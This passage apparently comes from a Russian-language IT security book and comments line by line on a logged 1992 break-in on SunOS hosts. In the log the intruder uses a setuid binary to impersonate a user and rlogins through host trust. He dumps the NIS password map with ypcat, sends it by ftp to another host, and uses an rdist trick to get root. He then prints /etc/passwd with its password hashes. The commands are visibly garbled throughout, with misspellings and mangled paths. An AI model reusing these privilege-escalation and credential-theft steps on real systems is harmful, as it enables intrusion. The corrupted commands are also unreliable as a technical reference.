IT-безопасность: стоит ли рисковать корпорацией? - [77]
Строки с № 114 по № 119
Став jeff хакер сделал правильный выбор. Он вошел в новую систему (tsunami), даже не пользуясь паролем. (Это отличный пример того, как опасно устанавливать доверительные отношения между системами.)
96 # find. -name.rhosts — print &
97 # gupr
98 # grep" C
99 # ypcat passwd | grep jeff
100 jeff: wW/q0t03L6xO.:13147:50:Jeff:/home/jeff:/bin/csh
101 # ed c.c
102 ?c,c: No such file or directory
103 #cd
104 # edc.c
105 /uid/
106 setuid(21477);
107 setuid(13147);
108 #ссс. с
109 # mv a.out shit
110 #chmod 6777 shit
111 #./shit
112 $ id
113 uid=13147(jeff) gid=0(wheel) groups=7
114 $ rlogj tsunami
115 rlogj: not found
116 $ rlogin tsunami
117 No directory! Logging in with home=/
118 SunOS Release 4.1.2 (TSUNAMI) #3: Sat Oct 24 07:56:45 PDT 1992
119 You have new mail.
Строки с № 120 по № 126
Хакер (который сейчас является пользователем jeff), запускает командную оболочку sh, чтобы не оставлять след в журналах. history оболочки csh. (Хакер тщательно следит за тем, чтобы не оставить свидетельств применения своих команд.) Затем он проверяет, нет ли кого еще в системе.
Строки с № 127 по № 136
Хакер пытается скопировать файл паролей и получает отказ в разрешении, так как у него нет разрешения копировать в этот каталог. Он проводит проверку с целью установить, под каким именем он зарегистрировался (должно быть, он уже его забыл). Он видит, что зарегистрировался как Jeff. Так как Jeff не имеет разрешения копировать файлы в этот каталог, то хакер меняет каталог на /tmp, в который любому пользователю разрешено производить копирование.
Строки с № 137 по № 141
Здесь он немного расправляет крылья и ищет таблицу паролей, чтобы ее скопировать и использовать. (Он копирует файл паролей NIS в файл, названный "ааа".) Хакеры часто копируют файлы паролей, чтобы подвергнуть их действию программ-взломщиков и получить больше паролей. Чем больше паролей есть у хакера, тем лучше он преуспеет в набегах на другие системы.
120 tsunami%AC
121 tsunami%sh
122 $ who
123 wendy ttyp2 Jan 6 13:55 (arawana)
124 derek ttyp3 Jan 13 17:57 (lajolla)
125 derekttyp4Jan 15 13:11 (lajolla)
126 jeff ttyp5 Jan 18 23:09 (valley)
127 $cat/etc/passwdAC
128 $ypcaty" C
129 $ ypcat passwd > suna
130 suna: Permission denied
131 Sid
132 uid=4401(jeff) gid=50(lastaff) groups=50(lastaff)
133 $pwd
134 $cd
135 $pwd
136 $cd/tmp
137 $ ypcat passwd >aaa
138 $ Is — tal aa
139 aa not found
140 $ is — tal aaa
141 — rw-r — r— 1 jeff 15382 Jan 18 23:09 aaa
Строки с № 142 по № 162
Теперь он открывает сессию ftp обратно к первоначальному хосту (valley) как пользователь ingres. В этой сессии он копирует файл паролей в систему valley. В той же самой сессии он копирует свои инструменты по работе с защитой из valley в tsunami.
Строки с № 163 по № 173
Снова он воссоздает свою небольшую С-программу (опущенную по соображениям безопасности) для того, чтобы воспользоваться программной ошибкой, открывающей защиту, и получить права доступа суперпользователя (root). Теперь он имеет полный контроль (доступ root) над системой tsunami.
142$ ftp valley
143 Connected to valley
144 220 valley FTP server (SunOS 4.1) ready.
145 Name (valley: jeff): ingres
146 331 Password required for ingres.
147 Password:
148 230 User ingres logged in.
149 ftp> send aaa
150 200 PORT command successful.
151 150 ASCII data connection for aaa
152 226 ASCII Transfer complete.
153 local: aaa remote: aaa
154 15578 bytes sent in 0.063 seconds (2.4e+02 Kbytes/s)
155 ftp> get foo
156 200 PORT command successful.
157 150 ASCII data connection for foo
158 226 ASCII Transfer complete.
159 local: foo remote: foo
160 1155 bytes received in 0.11 seconds (9.9 Kbytes/s)
161 ftp> quit
162 221 Goodbye.
163 $ cat too | /usr/ucb/rdist — Server localhost
164$/tmp/sh
165#rmfoo
166#rm/tmp/sh
167 rm: override protection 755 for /tmp/sh? у
168#edc.c
169#ccc.c
170 #chmod 6777 a.out
171 #./a.out
172 # id
173 uid=0(root) gid=0(wheel) groups=50(iastaff)
Строки с № 174 по № 182
Хакер ищет, есть ли в файле /etc/passwd какие-нибудь записи password.old или другие изменения. Он также пытается изменить пароль Jeff в NIS, но безуспешно.
Строки с № 183 по № 197
На этот раз он выводит список содержимого файла /etc/passwd.
174 # Is — ta! /etc/*ass*
175 — rw-r-r-1 root 634 Dec 7 12:31 /etc/passwd
176#cat/etc/}4U
177passwd
178 cat: /etc/}4: No such file or directory
179 Changing NIS password for jeff on suntzu.
180 Old password:
181 New password:
182 Password unchanged.
183 # cat/etc/passwd
184 root:R7QCfnYR4gvzU:0:1:Operator:/:/bin/csh
185nobody:*:65534:65534::/:
186daemon:*;1:1::/:
187sys:*:2:2::/:/bin/csh
188bin:*:3:3::/bin:
189 uucp:*:4:8::/var/spool/uucppublic:
190 news:*:6:6::/var/spool/news:/bin/csh
191 ingres:*:7:7::/usr/ingres:/bin/csh
192 audit:*:9:9::/etc/security/audit:/bin/csh
193 sync::1:1::/:/bin/sync
194 sysdiag:*:0;1:Old System Diag:/usr/diag/sysdiag:/usr/diag/ sysdiag/sysdiag
sundiag:*:0:1:System Diag:/usr/diag/su ndiag:/usr/diag/
sundiag/ sundiag
195 operator: INtDk7crldKh2:5:5 — Account forbackups;/usr/ backup: /bin/csh
196 lc:u0gFO1zE9Yx9U:27:50:LC Calendar:/var/lc:/bin/csh
197+::0;0:::
Строки с № 198 по № 209
Хакер меняет ID пользователя с суперпользователя обратно на jeff. Затем он повторно проверяет свой ID пользователя и начинает менять имя своего a.out на такое, которое он не забудет (как он уже прежде делал). Снова он запускает команду ls -1 для получения списка с новейшими файлами в начале его.